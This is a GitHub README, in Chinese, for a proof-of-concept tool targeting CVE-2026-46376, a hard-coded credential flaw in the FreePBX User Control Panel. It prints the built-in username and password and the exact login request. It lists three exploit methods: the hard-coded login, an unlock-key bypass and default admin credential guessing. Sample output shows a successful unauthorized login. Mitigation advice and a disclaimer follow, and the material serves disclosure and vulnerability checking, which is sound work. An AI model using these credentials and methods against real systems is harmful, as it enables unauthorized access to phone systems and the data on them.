portbuster1337/CVE-2026-46376

GitHub: portbuster1337/CVE-2026-46376

针对 FreePBX UCP 硬编码凭据漏洞(CVE-2026-46376)的概念验证与检测工具,用于验证目标系统是否存在未授权访问风险。

Stars: 0 | Forks: 0

# CVE-2026-46376 — FreePBX 通过硬编码凭据实现未授权 UCP 访问 FreePBX 的用户管理 (`userman`) 模块中存在一个严重漏洞,允许未经身份验证的攻击者使用在 UCP 通用模板设置过程中嵌入的硬编码凭据访问用户控制面板 (UCP)。 **CVSS v4.0: 9.1 (严重)** | **CWE-798: 使用硬编码凭据** 披露日期:2026 年 5 月 15 日 | 报告者:[s0nnyWT](https://github.com/s0nnyWT) ## 详情 当管理员使用可选的 UCP 通用模板设置功能(于 2021 年引入)时,系统会创建一个名为 `FreePBXUCPTemplateCreator` 的系统用户,并带有一个**硬编码的静态密码**。如果管理员在设置后从未更改此密码,网络上的任何未经身份验证的用户都可以使用这些凭据登录 UCP。 | 字段 | 值 | |-------|-------| | 用户名 | `FreePBXUCPTemplateCreator` | | 密码 | `1a2b3c@fd48jshs03123ld` | | 来源 | `Userman.class.php` — 密码通过 `md5()` 传递 | | 攻击向量 | 网络 | | 复杂度 | 低 | | 需要身份验证 | 无 | | 用户交互 | 无 | | 前置条件 | 管理员必须已运行 UCP 通用模板设置 | ## 受影响版本 | 平台 | userman 模块 | 受影响 | 已修复 | |----------|----------------|----------|---------| | FreePBX 15 | — | 15.0.42+ | N/A | | FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 | | FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 | 该修复在安装/升级期间使用 `bin2hex(random_bytes(24))` 对密码进行随机化,并且现有的模板创建者会在升级时重新生成其密码。 ## PoC 用法 ``` pip3 install requests python3 poc.py ``` ### 选项 ``` positional arguments: target Target URL (e.g. http://192.168.1.100) optional arguments: -h, --help show this help message and exit --no-check Skip version pre-flight check --timeout TIMEOUT Request timeout in seconds (default: 15) --method {creds,unlock,admin,all} Which exploit method to run (default: all) -y, --yes Auto-continue even if version is out of range ``` ### 方法 1. **creds** — 通过 `POST /ucp/ajax.php`,使用 `module=User&command=login` 结合硬编码凭据登录 UCP 2. **unlock** — 尝试通过 `?unlockkey=&templateid=` 查询参数绕过解锁密钥 3. **admin** — 在 ACP 上尝试常见的默认管理员凭据 ## 示例 ``` $ python3 poc.py http://192.168.1.100 ============================================ CVE-2026-46376 PoC - FreePBX UCP Access Target: http://192.168.1.100 ============================================ [+] Target is reachable (HTTP 200) [+] FreePBX version: 16.0.30 [+] Version 16.0.30 is in the affected range [+] UCP interface is accessible ============================================ Exploitation ============================================ ============================================ Method 1: Hard-Coded UCP Credentials ============================================ Username: FreePBXUCPTemplateCreator Password: 1a2b3c@fd48jshs03123ld [+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b [+] SUCCESS! Logged in as FreePBXUCPTemplateCreator ============================================ Summary ============================================ Target is VULNERABLE ``` ## 检测 要检查系统是否存在漏洞可利用性,PoC 会向 `POST /ucp/ajax.php` 发送包含 `module=User&command=login` 及该凭据的登录请求。`{"status":true}` 响应表示模板创建者用户存在且密码仍为默认值。 `{"status":false,"message":"Invalid Login Credentials"}` 响应意味着: - 该用户不存在(从未运行过模板设置),或 - 密码已被轮换更改 ## 缓解措施 - 将 `userman` 模块更新至 16.0.45 (FreePBX 16) 或 17.0.7 (FreePBX 17) - 验证并轮换任何现有的 UCP 模板凭据 — 打补丁**不会**追溯更改已部署的密码 - 使用 FreePBX Firewall 模块将 ACP/UCP 访问限制在受信任的网络内 - 启用 MFA 或 SAML 作为额外的身份验证层 - 审计活动的 UCP 会话以排查未经授权的登录 ## 免责声明 此 PoC 仅用于**教育和授权的安全测试目的**。未经授权,对您不拥有或未获得明确测试许可的系统使用此漏洞攻击是非法的。作者对任何滥用本工具或由此造成的损害概不负责。 ## 参考 - [GHSA-m55x-h47x-v3gx](https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m55x-h47x-v3gx) - [NVD - CVE-2026-46376](https://nvd.nist.gov/vuln/detail/CVE-2026-46376) - [FreePBX userman 提交记录(引入漏洞)](https://github.com/FreePBX/userman/commit/7aa066e99210836e5c223b4f8b7be973ab5ad783)
标签:CISA项目, CVE-2026-46376, FreePBX, PoC, 暴力破解, 硬编码凭证, 逆向工具